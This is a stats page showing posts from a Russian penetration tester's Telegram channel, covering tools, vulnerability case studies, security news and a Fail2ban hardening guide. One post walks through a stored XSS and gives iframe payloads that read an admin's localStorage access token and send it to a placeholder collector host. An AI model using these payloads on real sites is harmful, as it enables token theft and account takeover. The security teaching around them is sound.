Пентестер на мотоцикле
Ir al canal en Telegram
Блог, посвященный профессиональному росту в области кибербезопасности и мотоциклам (P.S. мотоциклы в ближайшем будущем) Вопросы/сотрудничество/реклама: @daffier ⚠️ All for educational purposes only!
Mostrar más998
Suscriptores
Sin datos24 horas
+47 días
+730 días
Carga de datos en curso...
Canales Similares
Sin datos
¿Algún problema? Por favor, actualice la página o contacte a nuestro gerente de soporte.
Nube de Etiquetas
Menciones Entrantes y Salientes
---
---
---
---
---
---
Atraer Suscriptores
mayo '26
mayo '26
+24
en 0 canales
abril '26
+63
en 0 canales
Get PRO
marzo '26
+64
en 0 canales
Get PRO
febrero '26
+47
en 1 canales
Get PRO
enero '26
+54
en 1 canales
Get PRO
diciembre '25
+72
en 1 canales
Get PRO
noviembre '25
+39
en 2 canales
Get PRO
octubre '25
+38
en 0 canales
Get PRO
septiembre '25
+33
en 1 canales
Get PRO
agosto '25
+44
en 0 canales
Get PRO
julio '25
+76
en 1 canales
Get PRO
junio '25
+83
en 1 canales
Get PRO
mayo '25
+126
en 1 canales
Get PRO
abril '25
+374
en 5 canales
Get PRO
marzo '250
en 4 canales
Get PRO
febrero '250
en 2 canales
Get PRO
enero '25
+64
en 0 canales
| Fecha | Crecimiento de Suscriptores | Menciones | Canales | |
| 23 mayo | +4 | |||
| 22 mayo | 0 | |||
| 21 mayo | +3 | |||
| 20 mayo | 0 | |||
| 19 mayo | +1 | |||
| 18 mayo | 0 | |||
| 17 mayo | +2 | |||
| 16 mayo | 0 | |||
| 15 mayo | 0 | |||
| 14 mayo | 0 | |||
| 13 mayo | 0 | |||
| 12 mayo | 0 | |||
| 11 mayo | +4 | |||
| 10 mayo | +3 | |||
| 09 mayo | 0 | |||
| 08 mayo | +2 | |||
| 07 mayo | +1 | |||
| 06 mayo | +2 | |||
| 05 mayo | +1 | |||
| 04 mayo | +1 | |||
| 03 mayo | 0 | |||
| 02 mayo | 0 | |||
| 01 mayo | 0 |
Publicaciones del Canal
🔊 Вскрываем периметр по-крупному
Последние пару недель РАД КОП много говорит про гигиену внешнего периметра и самостоятельную самопроверку. Чек-листы полезны, однако понимание того, как именно вас видит атакующий, выводит анализ на другой уровень.
Поэтому зову вас на вебинар "Техническая разведка: как самостоятельно собрать информацию о своей внешней инфраструктуре".
5 марта в 16:00 МСК
Спикер: Филимонов Кирилл (CuriV), Тимлид круга пентестеров РАД КОП.
▎ Почему стоит прийти
➡️Разберём 10 техник пассивной разведки
➡️Покажем на живом примере (инфраструктура РАД КОП), что видит атакующий до того, как вы заметите вторжение
➡️Отдадим чек-лист для самостоятельной проверки периметра
➡️Ответим на вопросы в прямом эфире
▎ Кому будет полезно
➡️Техническим специалистам
➡️Руководителям ИТ / ИБ-отделов
➡️Топ-менеджерам
➡️Всем, кому не безразлична информационная безопасность своих компаний
Если вы хотите трезво понимать, сколько информации о вашей инфраструктуре уже доступно извне, то приходите!
🔗 Ссылка на Telegram пост РАД КОП
🔗 Ссылка на регистрацию на вебинар
| 2 | Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании.
Звучит неприятно? Ещё бы.
В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.
В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.
🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer | 516 |
| 3 | 🤨 Документация из хаоса
Инструмент был написан в рамках стажировки Digital Security автором boysmail и решает простую, но очень практичную задачу: создаёт OpenAPI JSON прямо из трафика в Burp Proxy и позволяет сразу открыть его в локальном Swagger UI.
Это поможет сэкономить кучу времени, когда нужно быстро собрать документацию по API во время пентеста.
▎ Что умеет Burp2Swagger
➡️Поддержка нескольких доменов
➡️Корректная обработка file upload (form-data)
➡️Поддержка Basic и Bearer авторизации в каждом JSON
➡️Автоматическое добавление примеров параметров из перехваченных запросов
➡️Локальный Swagger UI на localhost:8090
➡️Bypass CORS для локального Swagger
➡️Добавление доменов прямо из Site Map Burp
🔗 Ссылка на репозиторий GitHub
Нет документации? Соберём сами.
#материал | 690 |
| 4 | Google — это только 1% информации. Остальные 99% достаются тем, кто знает методы OSINT.
На канале TESIS OSINT мы разбираем методы цифровой разведки, которые позволяют находить скрытое в интернете.
Статьи, которые уже вышли:
- Как по спутниковым снимкам аналитики вычисляют новейшие атомные подлодки Китая и что скрывается в архивах дела Эпштейна.
- Обзоры на современные карты инструментов вроде Malfrats Industries и поисковики по скрытой сети.
- Разбор золотого стандарта Whonix и гайды по цифровому следу, узнай, как твой браузер выдает тебя с головой.
- Сервисы для проверки SMTP, анализа торрент-активности по IP и бесплатные курсы для старта в OSINT.
TESIS OSINT — это навигатор для тех, кто хочет понимать реальное положение дел, сохранять приватность и владеть инструментами, которыми пользуются спецслужбы и кибер-расследователи.
👉 ПОДПИСАТЬСЯ НА TESIS OSINT | 303 |
| 5 | Маленькое пополнение в нашей семье☺️
Теперь у меня свой блэчер, бойтесь | 707 |
| 6 | 😈 Регистрация — оружие массового поражения
Недавно на финтех-проекте во время тестирования аутентификации обнаружился неожиданный вектор деградации сервиса.
API-эндпоинт /send_email отвечал за отправку писем на этапе регистрации для подтверждения электронной почты. Однако серия запросов подряд приводила к остановке личного кабинета: приложение переставало отвечать на 5-10 минут, сервис становился недоступен для всех пользователей.
Достаточно было 15-20 последовательных запросов с одного IP-адреса с минимальной задержкой, чтобы полностью нарушить доступность. Предположительно, письма отправлялись синхронно без очереди, что приводило к блокировке worker-пула и зависанию на SMTP. В результате обычный функционал отправки письма превратился в примитивный DoS всего сервиса.
▎ Риски
➡️Нарушение доступности сервиса
➡️Возможность эксплуатации любым неаутентифицированным пользователем
➡️Падение рейтинга домена и попадание писем в "спам"
➡️Репутационные потери
➡️Потенциальный финансовый ущерб
▎ Рекомендации по устранению уязвимости
✅Ввести лимиты на частоту запросов с адаптивной логикой и проверкой на ботов (IP, email, устройство)
✅Ограничить частоту вызова критичных эндпоинтов аутентификации (регистрация, подтверждение, сброс пароля)
✅Перевести отправку писем в асинхронную очередь с контролем нагрузки
✅Исключить синхронные SMTP-вызовы внутри HTTP-запроса
✅Изолировать сервис отправки писем от ядра аутентификации
✅Обеспечить контролируемую деградацию и корректные ошибки при перегрузке
✅Настроить мониторинг очередей и времени обработки email-запросов
Главное, чтобы письма не только отправлялись, но и не убивали сервер.
#кейс | 828 |
| 7 | 🎉 С НОВЫМ ГОДОМ!
Пусть в 2026 году ваши эксплойты будут стабильными, ложных срабатываний на минимуме, находки жирными, а клиенты адекватными!
Главное, чтобы работа приносила радость и драйв, а после рабочего дня вас ждали уют, близкие и вкусный чай (или что покрепче). С новым годом, коллеги!✨ | 608 |
| 8 | 🗣 Всем привет!
Пришло время подводить итоги года канала "Пентестер на мотоцикле"!
В этом мне сильно помог бот TGStat. Если хотите такую же статистику для своего канала, то отправьте боту @TGStat сообщение типа "2025 @username".
От себя добавлю: 2025 год оказался переломным для моей карьеры и хоть какой-то начальной известности в своих кругах. Много экспериментов, роста и правильных поворотов. Дальше — больше.
Всех с наступающим! | 799 |
| 9 | Классный опыт)
Получилось рассказать доклад даже лучше, чем я ожидал.
Видео доклада опубликую сюда сразу, как будет у меня на руках.
// Спасибо Серёже (Похек) за эту фотку😁 | 943 |
| 10 | 🔊 Спикерим
4 декабря пройдёт Ежегодная аналитическая конференция "КОД ИБ | ИТОГИ 2025", в которой я буду принимать участие в качестве спикера.
Приду с темой "Цена лишнего факта: как неосознанные утечки бьют по прибыли", чтобы обратить внимание на скрытые риски, с которыми бизнес сталкивается каждый день, часто даже не замечая их.
Разберём, почему такие мелочи стоят бизнесу реальных денег и как не допустить утечек, которые открывают злоумышленникам дверь во внутрь.
Если будете на конференции — буду рад с вами встретиться и пообщаться) | 860 |
| 11 | 🎉 Не утекаем, а празднуем
Коллеги, всех с международным днем защиты информации!
Желаю всем крепких паролей и спокойной инфраструктуры. | 1 063 |
| 12 | 🎉 Первый годик!
Ровно год назад, 29 ноября 2024 года, появился канал "Пентестер на мотоцикле", и благодаря вам он продолжает расти! Ваш интерес это лучший стимул двигаться дальше, писать больше и делиться полезным!
Спасибо каждому за подписку, активность и поддержку — именно вы делаете этот проект живым.
Дальше только интереснее! 🏍 | 773 |
| 13 | 😈 Нашёл 0-day... почти
Недавно на проекте по пентесту было обнаружено уязвимое коробочное решение Directus v9.23.3.
Directus — это open‑source платформа для управления данными, которая превращает любую SQL‑базу в headless CMS, предоставляя автоматическую REST и GraphQL API и удобный веб-интерфейс для управления контентом.
С таким ПО я столкнулся впервые, поэтому принялся ресёрчить все возможные там API-эндпоинты, файловую структуру и искать уже известные уязвимости (CVE).
Первым делом встала задача определить версию Directus. Немного покопавшись в интернете, обнаружился эндпоинт, раскрывающий версию ПО в одной из констант JS-файла по пути "/admin/assets/...js":
const jN="9.23.3"
Это позволило отсортировать все CVE под данную версию.
Уязвимостей было обнаружено полно, но в рамках этого поста хочу акцентировать внимание на ключевой, которую обнаружил сам, — загрузка любых файлов в админскую Библиотеку файлов без аутентификации + раскрытие списка файлов на эндпоинте /files. Получить доступ к любому файлу можно, зная его ID. После загрузки файлу автоматически присваивается идентификатор, и он становится доступен по публичному URL вида /assets/<ID>.
▎ Риски:
➡️Загрузка вредоносного ПО. Злоумышленник может поместить исполняемые файлы или скрипты, что при их запуске приведет к компрометации системы;
➡️Фишинговые атаки от имени компании с помощью публичных ссылок /assets/<ID>;
➡️Доступны все файлы в "Библиотеке файлов" без аутентификации: невозможность конфиденциально хранить документы и прочую чувствительную информацию для компании;
➡️А также другие риски в имеющихся уязвимостях, речи о которых в данном посте нет.
▎ Рекомендации по устранению уязвимостей:
✅Ограничить публичный доступ к конечной точки загрузки файлов — требовать аутентификацию и авторизацию для загрузок;
✅Валидировать содержимое файлы по проверке сигнатуры (MIME, magic bytes);
✅Ограничить типы и расширения файлов. Явно запрещать исполняемые форматы (например, .exe, .bat, .sh, .php и т.п.) и другие нежелательные форматы. Разрешать строго только необходимых типов по белому списку;
✅Закрыть доступ к конечной точке /files для неавторизованных пользователей;
✅Обновить версию Directus — решит множество проблем разом.
▎ Для пентестеров, обнаруживших Directus в проде:
➡️1) Первым делом определите версию ПО;
➡️2) С имеющейся версией пробуйте эксплуатировать ряд CVEшек. Ссылки на списки оставил в конце поста;
➡️3) Обязательно проверьте наличие GraphQL со включённой интроспекцией. Мне также попались alias flood, мутация без аутентификации и т.д.
Часть уязвимостей в списках CVE эксплуатируется только при наличии сессии — это отличный кейс для серого ящика. На этом проекте я как раз работал по методикам чёрного и серого ящика.
Обнаружив уязвимость с загрузкой файлов, сразу пошёл искать в интернете информацию о ней. И её, к сожалению, зарегистрировали за 2 недели до моей находки. Забрали прикольную CVE прямо из рук, ну да ладно)
🔗 Ссылка на список CVE Directus в Snyk
🔗 Ссылка на список CVE Directus в GitHub
🔗 Ссылка на список CVE Directus в GitLab
#кейс #материал | 1 073 |
| 14 | HTML Injection → Stored XSS → Hijack accessToken
Во время анализа одного из веб-приложений наткнулся на поле, которое обрабатывает ввод без должной фильтрации.
Примечение: cервис фильтрует <script> теги, поэтому XSS реализован с обходом — без явного использования скриптовых тегов.
Решил проверить — вставил простой HTML:
<h1>Test</h1> <!-- изменение размера шрифта -->
Текст стал крупнее — значит innerHTML или подобная конструкция.
Далее потестировал теги:
<img src="x"> <!-- битая картинка -->
<input> <!-- лишний input на странице -->
Браузер создал элементы прямо в DOM. Очевидный признак HTML Injection, причём без CSP и фильтров. Поле сохраняется в базу ➡️ отображается в админке ➡️ возникает вопрос: можно ли это раскрутить до XSS?
➡️ Рабочий XSS-пэйлоад:
<iframe src="javascript:alert(localStorage.accessToken)"></iframe>
В данном случае он читает токен из localStorage и вызывает alert() с его значением.
Минус: работает не во всех браузерах и часто режется CSP, но в слабозащищённых фронтах может быть отличной стартовой точкой.
➡️ Эскалация XSS:
<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>
Пэйлоад делает внешний запрос на ваш сервер (например, Interactsh), передавая туда значение токена. Вместо всплывающего окна (alert) вы сразу получаете лог токена.
Важно: поле, в которое внедряется нагрузка, сохраняется в базе данных и отображается в административной панели. Это означает, что код выполняется от лица администратора при просмотре, что приводит к краже его токена и потенциальному захвату аккаунта.
➡️ Особенность уязвимости теги:
🔴Инъекция сохраняется в БД (Stored)
🔴Отрабатывает на стороне администратора
🔴Через XSS читается accessToken из localStorage
➡️ Что это даёт:
🔴Захват токена администратора
🔴Возможность делать запросы от его имени
🔴Потенциальный full access к admin-панели
➡️ Советы для тестирования:
🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа)
🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React
🔴Тестируйте на img, input, iframe, svg, math, script и template
🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location
🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости | 679 |
| 15 | 📕 Готовимся к изучению докладов
Zeronights подогревает интерес! Стартовала публикация докладов программы на 2025 год.
Напоминаю, что организаторы выкатывают описания выступлений с двух ключевых треков: Offensive и SecOps.
▎ Лично мне бы первым делом хотелось послушать доклады про веб и внешнюю инфру в целом:
➡️"Когда весь периметр — одна страница: критические уязвимости на простых сайтах";
➡️"Что в дашборде твоём? Я просто хотел посмотреть метрики…";
➡️"Вредоносные расширения: как ваш браузер работает на атакующего".
🔗 Ссылка на полный список докладов Zeronights | 805 |
| 16 | 🤨 Дождались!
Больше года с нетерпением ожидал новый список топовых уязвимостей от OWASP. Для веба они выходят раз в 3-4 года, начиная с 2003 года. В рейтинге десяти самых распространённых за 2025 год появились две новые категории и одна консолидированная.
▎ Новые топовые уязвимости:
➡️A03:2025 — Ошибки в цепочке поставок ПО (Software Supply Chain Failures). Расширяет прежний пункт Vulnerable and Outdated Components и охватывает компрометации на всех этапах экосистемы разработки: зависимости, системы сборки и инфраструктуру распространения;
➡️A10:2025 — Неправильная обработка исключительных условий (Mishandling of Exceptional Conditions). Новая категория, включающая 24 типа уязвимостей, связанных с неправильной обработкой ошибок, логическими сбоями, «fail-open» сценариями и другими ситуациями, возникающими при аномальных условиях работы системы.
▎ Что это значит для пентестеров и разработчиков?
➡️Цепочки поставок становятся главным вектором атак. Теперь уязвимость может прийти не из кода, а из зависимостей и CI/CD;
➡️Ошибки обработки исключений — напоминание, что даже простая 500-ая ошибка может стоить дорого, если логика не защищена.
Распространите новый топ OWASP.
И да, ИБ спецы, с проф праздником вас!
🔗 Ссылка на OWASP top 10 2025 | 2 636 |
| 17 | Интересное мне письмо от vdsina пришло... | 76 |
| 18 | 💻 Уже не мышь, а крыса
Исследователи из Калифорнийского университета в Ирвайне представили атаку Mic-E-Mouse, которая позволяет превратить обычную геймерскую мышь в инструмент подслушивания.
Суть атаки в том, что движения и вибрации поверхности, считываемые сенсором мыши, могут быть преобразованы в звуковые колебания. Устройство начинает фиксировать микровибрации, создаваемые речью пользователя, фактически работая как грубый микрофон.
Поначалу полученный сигнал имеет низкое качество, но исследователи применили последовательную обработку данных и алгоритмы машинного обучения, чтобы очистить шум и восстановить разборчивую речь.
Для эксперимента использовались стандартная мышь и открытые наборы речевых данных VCTK и AudioMNIST. Команда добилась увеличения отношения сигнал/шум на 19 дБ, улучшила точность автоматического распознавания говорящего на 80%, а в тестах с людьми коэффициент ошибок составил 16,79% — результат, достаточный для различимого восприятия речи.
По мнению исследователей, наибольший риск представляют мыши с сенсорами 20000 DPI и выше. В качестве целей особенно уязвимы видеоигры и другое производительное ПО: там внедрение эксплойта можно замаскировать под сетевую активность игры, не вызывая подозрений.
#новость | 711 |
| 19 | 💻 Письмо счастья
8 сентября 2025 года Aikido Security сообщила о крупнейшей supply-chain атаке на JavaScript. Всё началось с фишингового письма: злоумышленники угнали аккаунт мейнтейнера npm и выложили заражённые версии 18 ключевых пакетов. Суммарно их скачивают более 2,6 млрд раз в неделю.
Вредоносный код срабатывал только в браузере и перехватывал Web3-трафик.
▎ Что делал вредонос:
➡️Встраивался в fetch и XMLHttpRequest;
➡️Подменял адреса кошельков в sendTransaction, approve, transfer;
➡️Использовал "похожие" адреса для незаметной подмены;
➡️Манипулировал параметрами транзакций прямо на этапе подписи.
Иными словами — крипто-клиппер прямо внутри зависимостей, которые стоят почти в каждом проекте.
▎ Список подтверждённых заражённых версий:
➡️ansi-styles@6.2.2
➡️debug@4.4.2
➡️chalk@5.6.1
➡️supports-color@10.2.1
➡️strip-ansi@7.1.1
➡️ansi-regex@6.2.1
➡️wrap-ansi@9.0.1
➡️color-convert@3.1.1
➡️color-name@2.0.1
➡️is-arrayish@0.3.3
➡️slice-ansi@7.1.1
➡️color@5.0.1
➡️color-string@2.1.1
➡️simple-swizzle@0.2.3
➡️supports-hyperlinks@4.1.1
➡️has-ansi@6.0.1
➡️chalk-template@1.1.1
➡️backslash@0.2.1
➡️error-ex@1.3.3
▎ Что делать разработчикам прямо сейчас:
✅Проверить package-lock.json, yarn.lock, pnpm-lock.yaml на наличие заражённых версий;
✅Удалить их из дерева зависимостей и пересобрать проект;
✅Очистить кэш пакета;
✅Переустановить зависимости с нуля и заново зафиксировать версии;
✅Пересобрать фронтенд-бандлы, инвалидировать CDN/кэши;
✅Проверить логи на внешние запросы из бандла;
✅Ротировать ключи/токены и усилить 2FA в npm.
Даже одно фишинговое письмо способно обернуться катастрофой для всей экосистемы.
Не ведитесь на фишинги!
#новость | 1 084 |
| 20 | 🤨 Крыса!
Несколько дней подряд мой сервер обстреливали запросами с разных IP. Узнал я об этом совершенно случайно, когда зашёл через SSH по другой причине и решил посмотреть логи. И тут я просто выпал.
Какой-то упёртый товарищ долбил админку одного сервиса из трёх букв (название опустим, но суть поняли), пытаясь перебрать логины и пароли. Причем без капли стеснения он это делал с 30 запросами в секунду (108к запросов в час). Продолжалось это без остановки с 28 августа 04:09:44 по 2 сентября 12:33:35, а далее затишье.
Я сразу решил, что так оставлять нельзя. Вечером того же дня поставил Fail2ban, прописал фильтр и подключил его к логам. И, как по заказу, атакующий снова вылез 3-го сентября в 23:07:56. Но на этот раз всё закончилось для него быстро и печально. Даже секунды не прошло, как IPS повязал ему ручонки (см. скриншот). Ну и я подумал, что из этого можно было бы выкатить простой гайд по установке и настройке Fail2ban.
Fail2Ban – программа для защиты серверов от атак методом грубой силы.
Если кому интересно, как настроить Fail2ban в пару кликов под X-UI (как в моём случае), держите гайд.
➡️1) Обновляем пакеты
sudo apt update
➡️2) Устанавливаем Fail2ban
sudo apt install fail2ban -y
➡️3) Проверяем установку — должно выдать версию Fail2ban
fail2ban-client --version
➡️4) Запускаем сервис и смотрим статус
sudo systemctl enable --now fail2ban
sudo systemctl status fail2ban
➡️5) Fail2ban будет смотреть логи и искать неудачные попытки входа по фильтру. Создаем фильтр в "/etc/fail2ban/filter.d/x-ui.conf"
[Definition]
failregex = WARNING - wrong username: ".*", password: ".*", secret: ".*", IP: "<HOST>"
ignoreregex =
Вставляем как есть, ничего менять не надо.
➡️6) Создаём или редактируем "/etc/fail2ban/jail.local"
[x-ui]
enabled = true
filter = x-ui
logpath = /var/log/kern.log
maxretry = 5
findtime = 600
bantime = 3600
action = iptables[name=x-ui, port=PORT, protocol=tcp]
ignoreip = 127.0.0.1/8 YOUR_IP YOUR_VPN_IP
Пояснение:
logpath — файл с логами, куда пишутся предупреждения о неверно введённом логине/пароле.
port=PORT — сетевой порт, к которому будет применяться правило блокировки IP через iptables. Здесь ставьте порт, на котором открывается форма авторизации в личный кабинет X-UI.
maxretry = 5 — после 5+ провальных попыток выдаётся бан.
findtime = 600 — считаем попытки за 10 минут.
bantime = 3600 — бан на 1 час.
ignoreip — добавляем сюда свой IP и VPN, чтобы случайно не заблокироваться.
➡️7) Перезагружаем службу Fail2ban
sudo systemctl restart fail2ban
➡️8) Смотрим статус Fail2ban. Если запущен, значит ошибок нет и всё работает. Радуемся жизни
sudo systemctl status fail2ban
Теперь можно отслеживать статус Fail2ban, в котором в том числе пишется количество блокировок и какие именно IP-адреса были заблокированы:
sudo fail2ban-client status x-ui
Защищайте свои сервера и будьте здоровы! 😉
И не забудьте перевернуть календарь. | 861 |
